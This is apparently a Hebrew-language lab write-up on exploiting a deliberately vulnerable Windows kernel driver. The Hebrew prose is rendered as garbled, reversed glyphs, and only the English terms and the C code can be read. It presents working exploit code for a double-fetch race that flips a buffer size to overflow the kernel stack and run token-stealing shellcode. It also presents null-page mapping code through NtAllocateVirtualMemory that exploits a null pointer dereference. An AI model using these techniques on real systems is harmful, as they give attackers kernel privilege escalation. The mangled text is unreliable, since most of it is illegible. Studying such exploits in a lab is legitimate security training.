ˬ ˪˰ ˪˷ ˢ˷˧ˠ ˶ˣ˞˧˸˪ ˫ˠ ˫˷˟ ˫˧˷ˬ˸˷ˬ) ˣ˟ ˷ˬ˸˷ˢ˪ ˸ˮˬ ˪˰ ˸˲˯ˣˮ ˫˰˲ˣ ,ˣ˸ˣˮ˧˵˸ ˸˞ ˵ˣˡ˟˪ ˸ˮ

 .(˭ˣ˶˩˧ˤ˪ ˫˧˧ˬ˰˲ˬ ˶˸ˣ˧ 

 ˞ˣˢ ˢ˷˪ˣ˥˪ ˱˯ˣˮ ˫˷Time of check to time of use ˣ˞ ,TOCTTOU ˸ˣ˷˪ˣ˥ ˧ˮ˲ˬ ˭ˠˢ˪ ˸ˮˬ ˪˰˷ ˭˟ˣˬ˩ .

ˣ˲ˢ ˱˵ˣ˸ˢ˷ ˶ˣˤ˞˪ ˣ˸ˣ˞ ˵˧˸˰ˢ˪ˣ ˸˥˞ ˫˰˲ ˵˶ ˰ˡ˧ˬ˪ ˸˷ˠ˪ ˷˧ ,ˣ˪˞˩.ˣ˧˪˞ ˸˷ˠ˪ ˪˩ˣ˧ ˞˪ ˧˪˞˧˴ˮ˦  

 ˸ˣ˷˪ˣ˥ ˧˶ˣ˥˞ˬ ˧˦˶ˣ˞˧˸ˢ ˰˵˶ˢ ˸˞ ˣˮ˞˟ˢ˷ ˶˥˞˪Double Fetch ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮ ,

TriggerDoubleFetch  ˸˷˵˟ ˧ˡ˧ ˪˰ ˞˶˵˸˷)IOCTL  ˞ˣˢ ˢ˪˷ ˡˣ˵ˢ˷0x222037:( 

 

˪ ˰˧˟˴ˬ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ-_DOUBLE_FETCH˪ ˫˧˶˧˟˰ˬ ˣˮ˞ ˣ˸ˣ˞ ˶˲˞˟ˢ ˪˷ ˸˟ˣ˸˩ˢ ˣˤ ,˸˧˷˰ˬ .-

DeviceIoControl ˸˶ˡˠˢ ˸˞ ˭˥˟ˮ ._DOUBLE_FETCH: 

 

˟ ˶˲˞˟˪ ˰˧˟˴ˬ ˫ˢ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ ˸˰˟˶˞ ˣ˟ ˢˮ˟ˬ˟ ˶˟ˣˡˬ-userland ˫ˢ ˫˧˧ˮ˷ˢ ˫˧˸˟ˢ ˸˰˟˶˞ˣ ,

 ˫˧˷˵˟ˬ ˞˪ ˣˮ˞˷ ˢ˵˧ˡ˟ ˫˧˰˴˟ˬ ,ˢ˪˧˥˸ .˧˪ˮ˶˵ˢ ˶˲˞˟˪ ˶˲˞˟ˢˬ ˵˧˸˰ˢ˪ ˢ˴˶ˮ˷ ˰ˡ˧ˬˢ ˪ˡˣˠ

ˬ ˢ˪˰ˬ˪ ˵˧˸˰ˢ˪-0x800 ˵˧˸˰ˬ ˭˩ˬ ˶˥˞˪ˣ ,˫˧˸˟ ˸ˣ˰˴ˬ˞˟ ˫˧memcpy Size  ˨ˣ˸ˬ ˫˧˸˟Buffer  ˪˞

KernelBuffer. 
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ˢ ˸˞ ˫˧ˢˤˬ-Double Fetch˪ ˫˧˷ˠ˧ˮ ?-UserDoubleFetch->Size  ˸˞ ˵ˣˡ˟˪ ˸ˮˬ ˪˰ ˢ˪˧˥˸ :˫˧˧ˬ˰˲

ˢ ˭˞˩ˣ ,˵˸˰ˣ˧˷ ˶˲˞˟ˢ ˪ˡˣˠ ˸˞ ˰ˣ˟˵˪ ˸ˮˬ ˪˰ ˸˲˯ˣˮ ˫˰˲ˣ ,˪ˡˣˠˢ ˸ˣˮ˧˵˸-double fetch ,˸˧˪˞˧˴ˮ˦ˣ˲ :

˧˪ˢ˸˟ ˡˣ˵ ˳˧˶ˢ˪ ˪˩ˣˮ ˪˷ ˨˶˰ˢ ˸˞ ˢˮ˷ˬ˷ ,ˡ˶˲ˮ ˭ˣ˩Size ˬ ˪ˣˡˠ ˨˶˰˪-0x800 ˟ ˞˴ˬˮ ˶˲˞˟ˢ ˧˶ˢ)-

userland  ˭˧˟˷ ˥ˣˣ˶ˬ˟ ˵ˣ˧ˡ˟ ˷˥˶˸˧ ˧ˣˮ˧˷ˢ˷ ˨˩ ,(ˣˮ˪˷ ˸ˣ˩ˣˬˮˢ ˸ˣ˞˷˶ˢˢ ˪˰˟ ˨˧˪ˢ˸˪ ˷˧ˠˮ ˞ˣˢ ˭˩˪ˣ

˷ ˢ˵˧ˡ˟ˢ-Size ˬ ˪ˣˡˠ ˞˪-0x800 ˪ ˰ˡ˧ˬ ˵˧˸˰ˢ˪ ˸ˮˬ ˪˰ ˣ˟ ˷ˣˬ˧˷ˢ ˭˧˟˪-KernelBuffer ˪˩ˣˮ ˤ˞ˣ ,

 ˰˴˟˪Stack Overflow ˟ ˷ˬ˸˷ˢ˪ˣ-shellcode ˪ ˣˮ˷ˬ˸˷ˢ ˣ˟ ˣˮ˪˷ ˭˩ˣˬˢ-Stack Overflow. 

˪ ˪˷ ˸˧ˮ˯˥ˬˢ ˸˞ ˭˥˟ˮ ,ˣˤˢ ˢ˪ˣ˰˲ˢ ˷ˣˬ˧ˬ˟ ˭ˣˡˮ˷ ˧ˮ˲TriggerDoubleFetch: 

 

 ˰˴˟˪ ˸ˮˬ ˪˰stack overflow  ˪˷ ˢ˵˸˰ˢ˪ ˫ˣ˶ˠ˪ ˣˮ˧˪˰ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˪˰ ˦˪˸˷ˢ˪ˣ

0x824  :˫˧˸˟0x820 ,"˪˟ˤ" ˪˷  ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˫ˢ˟ˣ ,ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˫˧˯˶ˣˡ˷ ˫˧˸˟ ˢ˰˟˶˞ ˡˣ˰ˣ

˟ ˶ˣˤ˥˪ ˢ˴˶ˮ-Kernel-Mode˷ ˱˞˷ˮ ˣ˧˪˞ ˨˶˰ˢ ,˭˩˪ .-Size  ˞ˣˢ ˰˧ˠ˧0x824. 

 ˭ˣ˩˧˪ˢ˸ˢ :ˢ˦ˣ˷˲ ˢˬ˧˷ˬ ˣˤ ˭˧˞ ˨˞ ,ˣ˟ ˥˴ˮ˪ˣ ˳ˣ˶ˬ˪ ˫ˣ˶ˠ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˪ ˶˸ˣˮ˷ ˡ˧˥˧ˢ ˶˟ˡˢ ,ˢ˶ˣ˞˩˪

 ˪˷ ˨˶˰ˢ ˸˞ ˸ˣˮ˷˪ ˢ˯ˮ˧˷ ˳˧˶ˮ˷Size ˸ˬ ˰˴˟ˮ ,˭˩˪ !ˡ˟˰ˬ ˣ˸ˣ˞ ˪˰ ˫˧˴˶ˢ ˫˧ˮˣ˩˧˪ˢ˸ˢ ˶˞˷ ˪˩˟ ˢ˶˥

.˳ˣ˶ˬ˟ ˥˴ˮ˪ ˸ˮˬ ˪˰ ˣˮ˸˪ˣ˩˧ ˟˦˧ˬ˩ 

 ˸˞ ˢˮ˷ˬ˷ ˭ˣ˩˧˪ˢ˸ˢˣ ,˶˟˧˧˶ˡˢ ˫˰ ˶˷˵˸ˬ˷ ˭ˣ˩˧˪ˢ˸ˢ˷ ˦˧˪˥ˢ˪ ˞ˣˢ ˭ˣ˷˞˶ˢ ˟˪˷ˢSize ˪˰ ˣ˴ˣ˶˧ ,

 ˶˸ˣ˧˟ ˢˢˣ˟ˠˢ ˸ˣ˲˧ˡ˰˟ˣ ˫˧ˮˣ˷ ˫˧ˡ˟˰ˬ ˧ˮ˷- ˶˷˲˞˷ ˢˬ˩ ˡ˰ "˸˧˪˧˶˦˯" ˢ˟˧˟˯˪ ˰˧ˠˢ˪ ˪˩ˣˮ ˨˩ 

 ˪˰ .˫ˢ˧ˮ˧˟ ˡ˟˰ˬ ˭ˬˤ ˪˰ ˣ˶˥˸˧ ˞˪ ˣˮ˪˷ ˫˧ˮˣ˩˧˪ˢ˸ˢ ˨˩ˣ ,(˫˧˶˥˞ ˫˧ˮˣ˩˧˪ˢ˸ ˪ˣˬ ˪˞ ˸ˣ˶˥˸ ˸ˮ˧˥˟ˬ)

ˢ ˸ˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮ ,ˣˤ ˢ˶˦ˬ ˠ˧˷ˢ˪ ˸ˮˬ-API :˸ˣ˞˟ˢ 

¶ CreateThread ˸˶˧˴˧˪ ˪˩ ˡ˥˞ ˫˧ˮˣ˩˧˪ˢ˸ˢˬ .˷ˬ˸˷ˮ ˪ˠˡ˟ CREATE_SUSPENDED ˪˰ ˸ˮˬ 

˭ˣ˩˧˪ˢ˸ˢ˷ ˞˪ ˪˧˥˸˧ ˸ˣ˶˧˷˧ ˢ˴˧˶˟. 

¶ SetThreadPriority ˪˰ ˸ˮˬ ˶˧ˡˠˢ˪ ˸˞ ˸ˣ˲˧ˡ˰ˢ ˪˷ ˭ˣ˩˧˪ˢ˸ˢ .˷ˬ˸˷ˮ ˟-

THREAD_PRIORITY_HIGHEST ˪˰ ˸ˮˬ ˭ˣ˩˧˪ˢ˸ˢ˷ ˪˟˵˧ ˸˞ ˸ˣ˲˧ˡ˰ˢ ˢˢˣ˟ˠˢ ˶˸ˣ˧˟. 

¶ GetSystemInfo ˪˰ ˸ˮˬ ˸ˣ˪ˠ˪ ˢˬ˩ ˫˧ˡ˟˰ˬ ˫˧˷˧ˠˮ ˸˩˶˰ˬ˪. 
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¶ SetThreadAffinityMask ˪˰ ˸ˮˬ ˞ˡˣˣ˪ ˭ˣ˩˧˪ˢ˸ˢ˷ ˳ˣ˶˧ ˡ˟˰ˬ˟ ˧˲˧˴˲˯ˢ ˢ˴˶ˮ˷ .ˢ˷˰ˮ ˸˞ˤ ˪˰ ˧ˡ˧ 

˸˶˟˰ˢ ˨˶˰ˢ 1 << n ˢ˧˴˵ˮˣ˲˪ ˶ˣ˸˟ ˦ˮˬˣˠ˶˞ˢ dwThreadAffinityMask ,˶˷˞˩ n ˞ˣˢ ˡ˟˰ˬˢ ˣ˧˪˰ 

ˢ˴˶ˮ ˳˧˶ˢ˪ ˸˞ ˭ˣ˩˧˪ˢ˸ˢ. 

¶ ResumeThread ˪˰ ˸ˮˬ ˪˧˥˸ˢ˪ ˸˞ ˸˴˧˶ ˫˧ˮˣ˩˧˪ˢ˸ˢ. 

¶ WaitForMultipleObjects ˪˰ ˸ˮˬ ˭˧˸ˬˢ˪ ˫˧ˮˣ˩˧˪ˢ˸ˢ˷ ˣ˶ˤ˥˧. 

 ˥˴ˮ˪ ˸ˮˬ ˪˰ ˦ˣ˵ˮˮ˷ ˸ˣ˲˯ˣˮ ˸ˣ˪ˣ˰˲ˢ ˭˯˥ˣ˞˧ ˣ˟ ˭ˣ˶˩˧ˤˢ ˸˶˧˴˧ ˭ˢ ˳ˣ˶ˬ˟-_DOUBLE_FETCH*  ˪ˠˡˢ ˫˰

PAGE_NOCACHE˪ ˶˦ˬ˶˲ˢ ˪˷ ˨˶˰ˢ ˸˞ ˨ˣ˲ˢ˪ ˸ˮˬ ˪˰ ,˭˩ ˣˬ˩ .-0x824 ˨˶˰ˢ ˪˷ ˢˬ˷ˢ ˰˴˟ˮ ˞˪ ,

˟ ˶ˤ˰˧ˮ ˞˪˞-XOR˟ ˷ˣˬ˧˷ˢ .-XOR  ˨˧˲ˢ ˭˩ˣ ,˶˸ˣ˧ ˶˧ˢˬ ˢ˧ˢ˧-  ˪˷ ˨˶˰ˢ ˸˶ˤ˥ˢ˪ ˠˣ˞ˡ˪ ˨˶ˣ˴ ˭˧˞˷ ˨˩

Size ˧ˮ ˪˩ ˭˧˟ ˭˧˵˸ ˨˶˰˪.ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪ ˭ˣ˧˯ 

 ˶˲˯ˬ ˭ˮ˷˧ .ˢ˥˪˴ˢ˟ ˸˧ˮ˩˸ˢ ˸˞ ˣˮ˪˴˧ˮ ˞˪ ˡˣ˰ ˪˩ ˳ˣ˶˪ ˨˧˷ˬ˧˷ ˫˧ˮˣ˩˧˪ˢ˸ˢˬ ˡ˥˞ ˪˩˟ ˶˧ˡˠˮ ,˱ˣ˯˟˪

 ˢˬˠˣˡ˪ ,ˢˤˢ ˧˞ˮ˸ˢ ˸˞ ˵ˣˡ˟˪ ˫˧˩˶ˡ- ˟ ˪˥˸ˣ˞ˬ˷ ˧˪˟ˣ˪ˠ ˵ˣˡ˟˪-shellcode  ˸˞ ˵ˣˡ˟˪ ˣ˞ ,ˣˬ˴˰

.˸ˣ˧˴˶˦˧˞ ˶˲˯ˬ ˪˩ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˞˷˶ˢˢ 

ˢ˸ˢ ˸˶˧˴˧˪ ˷ˬ˷ˬ ˞˟ˢ ˡˣ˵ˢ:˫˧ˮˣ˩˧˪ 

_DOUBLE_FETCH*  doubleFetchInput = ( _DOUBLE_FETCH*) VirtualAlloc ( 0,  0x1000 ,  MEM_RESERVE |  

MEM_COMMIT,  PAGE_READWRITE |  PAGE_NOCACHE);  

doubleFetchInput - >Size = 0x200 ;  

doubleFetchInput - >Buffer = ( char *)& input ;  

 

SYSTEM_INFO SystemInfo ;  

GetSystemInfo (& SystemInfo );  

unsigned  int  processorsCount = SystemInfo . dwNumberOfProcessors ;  

 

for ( int  i = 0;  processorsCount > i ;  i += 2)  {  

    threadHandles [ i ]  = CreateThread ( 0,  0,  changeSizeThread ,  &doubleFetchInput - >Size ,  

CREATE_SUSPENDED,  0);  

    threadHandles [ i +1]  = CreateThread ( 0,  0,  sendIoctlThread ,  doubleFetchInput ,  

CREATE_SUSPENDED,  0);  

         

    SetThreadPriority ( threadHandles [ i ],  THREAD_PRIORITY_HIGHEST);  

    SetThreadPriority ( threadHandles [ i +1],  THREAD_PRIORITY_HIGHEST);  

         

    SetThreadAffinityMask ( thr eadHandles [ i ],  1 << i );  

    SetThreadAffinityMask ( threadHandles [ i +1],  1 << ( i +1));  

         

    ResumeThread ( threadHandles [ i ]);  

    ResumeThread ( threadHandles [ i +1]);  

}  

 

WaitForMultipleObjects ( processorsCount ,  threadHandles ,  true ,  INFINITE );  

 ˶˷˞˩changeSizeThread  ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˞ˣˢ ˢ˪˷ ˭˩ˣ˸ˢ ˪˩˷ ˢ˧˴˵ˮˣ˲ ˞˧ˢsize ^= 0xA24  ˭ˣˣ˧˩ˬ)

-˷0x200^0xA24 = 0x824ˣ ,ˢ˞˪ˣ˪˟ (-sendIoctlThread  ˸˷˵˟ ˥ˣ˪˷˪ ˞ˣˢ ˢˮ˩ˣ˸ ˪˩˷ ˢ˧˴˵ˮˣ˲ ˞˧ˢ

IOCTL  ˪˷Double Fetch .ˢ˞˪ˣ˪˟ 
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ˮˢ ˡ˟˰ˬˢ ˶˲˯ˬ ˸˯˲ˡˢ ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˸ˡ˟ˣ˰ ˭˩˞ ˫˧ˡ˟˰ˬ˪ ˢ˵ˣ˪˥ˢ˷ ˞ˡˣˣˮ ˭ˣ˩˧˪ˢ˸ ˪˩ ˸˪˧˥˸˟ ˧˥˩ˣ

˪ ˢ˞˧˶˵ ˸˶ˤ˰˟)-GetCurrentProcessorNumber:( 

 

ˢ ˸˪˧˥˸˟ .ˣˮ˪˷ ˡˣ˵˪ ˢ˴˧˲˵˪ ˫ˣ˶ˠ˪ˣ ˳ˣ˶ˬ˟ ˥˴ˮ˪ ˸ˮˬ ˪˰ ˣˮ˸˪ˣ˩˧ ˟˦˧ˬ˩ ˣˮ˧˷˰˷ ˶ˬˣ˪ ˶˷˲˞ ˣ˧˷˩˰-

shellcode ˸ˡˣ˵˲ ˫˵ˬˮ ,int 3  ˳˧˶ˮˣ ˸˧ˮ˩˸ˢ ˸˞ ˪˲ˬ˵ˮ ,ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˣˮ˥˪˴ˢ˷ ˰ˡˮ˷ ˸ˮˬ ˪˰

˟ ˢ˸ˣ˞-guest, ˟ ˣˮ˰ˠ˲˷ ˢ˞˶ˮ ˡ˧ˬ ˦˰ˬ˩ ˭˩˞ˣ-breakpoint :ˣˮ˪˷ 

 

 ˫ˣ˷˶ˮάƎέ ˢ ˸˴˶ˢ˟ ˨˧˷ˬˢ˪ ˸ˮˬ ˪˰-shellcode ˸˶ˤ˰˟ ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˰˴˟˪ ˣˮ˥˪˴ˢ ˫˞ ˵ˣˡ˟ˮˣ ,

 ˫˰ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˳˶ ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˫˰˷ ˷ˬ˸˷ˬˢ ˸˵˧ˡ˟procexp: 

 

Null Pointer Dereference 

ˢ ˫˰ ˨˧˷ˬˬ ˣˮ˪˷ ˰˯ˬˢ-IOCTL  ˞ˣˢ ˣ˪˷ ˡˣ˵ˢ˷0x22202B ˪ ˢ˞˧˶˵˪ ˪˧˟ˣˬ ˞ˣˢˣ-

TriggerNullPointerDereference ˧ˡ˧˪ ˢ˞˟ ˞˧ˢ ˡ˴˧˩ ˢ˞˶ˮ ˭˩ˬ ˶˥˞˪ˣ ˢ˷˪ˣ˥ˢ ˠˣ˯ ˸˞ ˶ˣ˵˯ˮ ,˸˧˷˞˶ .

.ˢ˧˴˵ˮˣ˲˟ ˧ˣ˦˧˟ 

 ˸ˣ˷˪ˣ˥Null Pointer Dereference  ˸˟ˣ˸˩˪ ˰˧˟˴ˬ˷ ˰˧˟˴ˬ˪ ˸˷ˠ˪ ˫˧˯ˮˬ ˣ˟˷ ˟˴ˬ˪ ˸ˣ˯˥˧˧˸ˬ0  ˧˪ˣ˞)

˧˩ˬ ˣ˞ ,˪˥˸ˣ˞ ˞˪ ˭˧˧ˡ˰˷ ˭ˣˣ˧˩ˬ ˣ˟ ˟˴ˣˢ˷ ˭ˣˣ0  ,(ˢ˟ˣ˷˥ ˢˮ˧˞ ˢ˟˧˯ˢ ,˷˧ˬ˷ ˞˪ ˶˟˩ ˞ˣˢ˷ ˭ˬ˯˪ ˸ˮˬ ˪˰

˟ ˢ˯˧˶˵˪ ˪˧˟ˣ˧ ˪˪˩ ˨˶ˡ˟˷ ˢˬ-User-Mode ˪x-BSoD ˟-Kernel-Mode ˸˟ˣ˸˩ˢ˷ ,˞ˣˢ ˭˧˧ˮ˰ˢ .0  ˭˩ ˞˧ˢ

 ˸˟ˣ˸˩ˢˬ ˪˧˥˸ˬ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˧˶ˢ˷ ,˭ˣ˶˩˧ˤ˟ ˢˮ˧˵˸ ˸˟ˣ˸˩0 ,-˟Windows  ˫ˡˣ˵˷-˪Windows8 ,

ˣˬ˰ˢ ˸˞ ˸ˣ˲ˬ˪ ˭˸˧ˮ ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷) ˭ˣ˶˩˧ˤˢ ˪˷ ˭ˣ˷˞˶ˢ ˡ0˪ ˸ˣ˷˧ˠ ˪˴ˮ˪ ˨˩ˣ ,(-null pointer  ˪˰

ˤ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ.˸ˣ˧ˮˣˡ 
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:ˢˬˠˣˡ˩ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˥˵˧ˮ 

struct  _RANDOM_STRUCT {  

    int  Index ;  

    void (* Callback )( int ,  int );  

};  

 

void  nullDereference ()  {  

    _RANDOM_STRUCT*  s = 0;  

    // s is not initialized, and will stay uninitialized under a certain 

flow.  

    if  ( expression )  {  

        // Initialization.  

    }  

    // However, under all flows, s - >Callback is invoked.  

    s- >Callback ( 5,  5);  

}  

˪ ˰˧˟˴ˬ ˫˧˶˧ˡˠˬ ,ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟-_RANDOM_STRUCT ˫˷˟ ,s ˸˟ˣ˸˩ ˣˮ˵ˮ˰ˢ ˞˪ ˡˣ˰ ,ˢˤˢ ˟˪˷˟ .

 ˨˶˰ˢ ˫˰ ˣ˸ˣ˞ ˣˮ˪˥˸˞ˣ ˰˧˟˴ˬ˪0 ˸˞ ˫˧˪˥˸˞ˬ ˢ˴˧˶ˢ ˧˷˧˥˶˸ ˟ˣ˶˟ ,ˢ˧˴˵ˮˣ˲ˢ ˨˷ˬˢ˟ .s ˸˥˸ ˨˞ ,

 ,˧˶˷˲˞˷ ˟˷˥ ˞˪ ˣ˞ ,ˣ˧˪˰ ˟ˣ˷˥˪ ˥˩˷ ˥˸˲ˬˢ˷ ˧˲˧˴˲˯ ˷˧˥˶˸s  ,ˢ˧˴˵ˮˣ˲ˢ ˱ˣ˯˟ .˪˥˸ˣ˞ˬ ˞˪ ˶˞˷ˮ

˪ ˢ˞˧˶˵ ˸ˬ˧˧˵-Callback  ˪˷_RANDOM_STRUCT,  ˰˧˟˴ˬˢ ,ˢˤ ˟˪˷˟ ˣ˟˷ ˟˴ˬ ˭˩˸˧˧ ˞˪˷ ˢ˥ˮˢ ˨ˣ˸ˬ

 ˣ˟˷ ˷˧˥˶˸ˢ ˞ˣˢ ˷˥˶˸ˢ˷ ˢ˴˧˶ˢ ˷˧˥˶˸ˣ ˢˡ˧ˬ˟ ,ˢˤ ˟˪˷˟ .˪˥˸ˣ˞ˬ ˞˪s  ˢ˧ˮ˲ ˰˴˟˸˸ ,˪˥˸ˣ˞ˬ ˞˪

 ˸˟ˣ˸˩˪0.ˢ˞˧ˠ˷ ˫˶ˠ˧˸ ,˸˲ˣˬˬ ˞˪ ˞˧ˢ˷ ˭ˣˣ˧˩ˬˣ , 

˟ ˳˶ ˪"ˮˢ ˡˣ˵ˢ ˫˞-Kernel-Mode˟ ˸˧˪˞˵ˣ˪ ˡˣ˵ ˳˧˶ˢ˪ ˸˪ˣ˩˧ ˷˧ ˣˮ˪ˣ ,-User-Mode˪˩ˣˮ ,  ˸˞ ˸ˣ˲ˬ˪

 ˸˟ˣ˸˩ˢ0  ˣ˟˷ ˷˧˥˶˸ˢ ˶˷˞˩ˣ ,˭ˣ˶˩˧ˤ˪s  ˢ˷˧ˠˢ ,˷˥˶˸˧ ˪˥˸ˣ˞ˬ ˞˪ ˶˞˷ˮs->Callback  ˫ˣ˶ˠ˸ ˞˪

 ˸˟ˣ˸˩˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩ˢˣ ,˭ˣ˶˩˧ˤ˪ ˢ˲ˣˬˬ ˭˩˞ ˡˣˬ˰ˢ ˫˰˲ˢ˷ ˭ˣˣ˧˩ˬ ,ˢ˞˧ˠ˷˪0x4 .˞˶˵˸ ˭ˣ˶˩˧ˤ˟  ˪˰

 ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮ ,˭ˣ˶˩˧ˤ˟ ˭ˣ˷˞˶ˢ ˡˣˬ˰ˢ ˸˞ ˸ˣ˴˵ˢ˪ ˸ˮˬNtAllocateVirtualMemory ˢˬ˧˸˥ˢ ˭˪ˢ˪ .

ˬ ˥˪˵ˮ) ˢ˧˴˵ˮˣ˲ˢ ˪˷-MSDN:( 

NTSTATUS ZwAllocateVirtualMemory (  

  _In_    HANDLE    ProcessHandle ,  

  _Inout_ PVOID     * BaseAddress ,  

  _In_    ULONG_PTR ZeroBits ,  

  _Inout_ PSIZE_T   RegionSize ,  

  _In_    ULONG     AllocationType ,  

  _In_    U LONG     Protect  

);  

 ˞ˣˢ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˦ˮˬˣˠ˶˞ˢBaseAddress -  ˭ˣˣ˧˩ˬ .˭ˣ˶˩˧ˤˢ ˸˞ ˸ˣ˴˵ˢ˪ ˢ˴˶ˮ ˢ˟ ˸˟ˣ˸˩˪ ˰˧˟˴ˬ ˣˢˤ

 ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤ ˸ˣ˴˵ˢ˪ ˫˧˴ˣ˶ ˣˮ˞˷0 ˭˞˩ ˶˧˟˰ˮ˷ ˧˰˟˦ ,0  ˣ˞)NULL ˪˷ ˡˣ˰˧˸ˢ ˸˞ ˞˶˵ˮ ˫˞ ˨˞ ,(

 ˪˷ ˨˶˰ˢ ˫˞˷ ˢ˞˶ˮ ,ˢ˧˴˵ˮˣ˲ˢBaseAddress  ˞ˣˢNULL˩˶˰ˬ ˤ˞ , ˸ˣ˴˵ˢ˪ ˭˩˧ˢ ˢ˦˧˪˥ˬ ˢ˪˰˲ˢˢ ˸

 ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤ ˸ˣ˴˵ˢ˪ ˷˵˟ˮ ˫˞ ˢ˶˵˧ ˢˬ ˪˟˞ ,˭ˣ˶˩˧ˤˢ ˸˞1 ˪˷ ˨˶˰ˢ ˫˞ ,ˡˣ˰˧˸ˢ ˧˲ ˪˰ ,˭˩˟ˣ ?

BaseAddress  ˞˪ ˞ˣˢNULL ,˸˟ˣ˸˩ˢ ˸˪˲ˣˮ ˣ˟ ˭ˣ˶˩˧ˤ˟ ˧˦ˮˣˣ˪˶ˢ ˡˣˬ˰ˢ ˸˪˧˥˸ˬ ˪˥ˢ ˢ˴˵ˣ˧ ˭ˣ˶˩˧ˤˢ ,

 ˸˟ˣ˸˩ˢ˷ ˧˶ˢˣ1  ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷ ˡˣˬ˰ˢˬ ˵˪˥ ˞˧ˢ0˭˩˪ˣ ,  ˶˧˟˰ˮ ˫˞1  ˶ˣ˸˟BaseAddress ˸˞ ˢ˴˵ˮ ,

 ˸˟ˣ˸˩ˢˬ ˪˥ˢ ˭ˣ˶˩˧ˤ˪ ˟ˣ˸˩˪ ˪˩ˣˮˣ ˭ˣ˶˩˧ˤ˟ ˭ˣ˷˞˶ˢ ˡˣˬ˰ˢ0 J. 
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:˭˧˧ˮ˰ˢ ˸˞ ˷˧˥ˬˬ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ 

void  myCallback ( int  a,  int  b)  {  

    printf ( "Invoked myCallback" );  

}  

void  mapNullPage ()  {  

    unsigned  long  pageSize = 0x1000 ;  

    void *  baseAddress = ( void *) 0x1 ;  

    char *  nullPage = 0;  

 

    DWORD( WINAPI * NtAllocateVirtualMemory )( HANDLE ProcessHandle ,  PVOID * BaseAddress ,  ULONG 

ZeroBits ,  

                                           PULONG RegionSize ,  ULONG AllocationType ,  ULONG 

Protect ) ;  

    *( FARPROC *)& NtAllocateVirtualMemory = GetProcAddress ( LoadLibraryA ( "ntdll.dll" ),  

                                                          "NtAllocateVirtualMemory" );  

    NtAllocateVirtualMemory ( GetCurrentProcess (),  &baseAddress ,  0,  &pageSize ,  MEM_COMMIT |  

MEM_RESERVE,   

                            PAGE_READWRITE);  

 

    *( unsigned  long *) nullPage = 0x41414141 ;  

    *( unsigned  long *)( nullPage + 4)  = ( unsigned  long )& myCallback ;  

}  

 

int  main ()  {  

    mapNullPage ();  

    nullDereference ();  

    return  0;  

}  

˵ˮˣ˲ˢ ˢ˧˴mapNullPage ˟ ˸˷ˬ˸˷ˬ-GetProcAddress  ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰

NtAllocateVirtualMemory  ˨ˣ˸ˬntdll ˸˟ˣ˸˩˟ ˫˧˷ˬ˸˷ˬ ,˭˩ˬ ˶˥˞˪ .0x1  ˡˣˬ˰ˢ ˸˞ ˸ˣ˲ˬ˪ ˸ˮˬ ˪˰

 ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷0  ˨˶˰ˢ ˸˞ ˫˧˟˧˴ˬ ˱ˣ˯˟˪ˣ ,˭ˣ˶˩˧ˤ˟0x41414141  ˸˟ˣ˸˩˟0 ˪˷ ˸˟ˣ˸˩ˢ ˸˞ˣ ,

myCallback  ˸˟ˣ˸˩˟4 .-˟main˪ ˫˧˞˶ˣ˵ ˸˧˷˞˶ ,-mapNullPage˪ ˭˩ˬ ˶˥˞˪ˣ ,-nullDereference 

 ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ˷˩ .(˶˸ˣ˧ ˫ˡ˵ˣˬ ˣˮ˶˵˯˷ ˢ˧˴˵ˮˣ˲ˢ)-˟Windows7  ˸˶ˣ˦˵˦˧˩˶˞˟32  ˪˟˵˸˸ ,˦˧˟

:ˢ˞˟ˢ ˢ˞˴ˣ˸ˢ 

 

 ˸ˣ˷˪ˣ˥ ˧˶ˣ˥˞ˬ ˸ˡˬˣ˰˷ ˢ˧˶ˣ˞˧˸ˢ ˧ˢˣˤNull Dereference ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮ ,ˢ˸ˣ˞ ˣˮ˟ˢ˷ ˶˥˞˪ .

TriggerNullPointerDereference:ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸ˬ ˪˧˥˸ˮ . 

 

˟ ˞˴ˬˮ˷ ˶˲˞˟˪ ˰˧˟˴ˬ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ-userland ˫˧˶˧˟˰ˬ ˣˮ˞˷ ˸˟ˣ˸˩ˢ ˞ˣˢ ˢˤˢ ˰˧˟˴ˬˢ ,˪˧ˠ˶˩ .

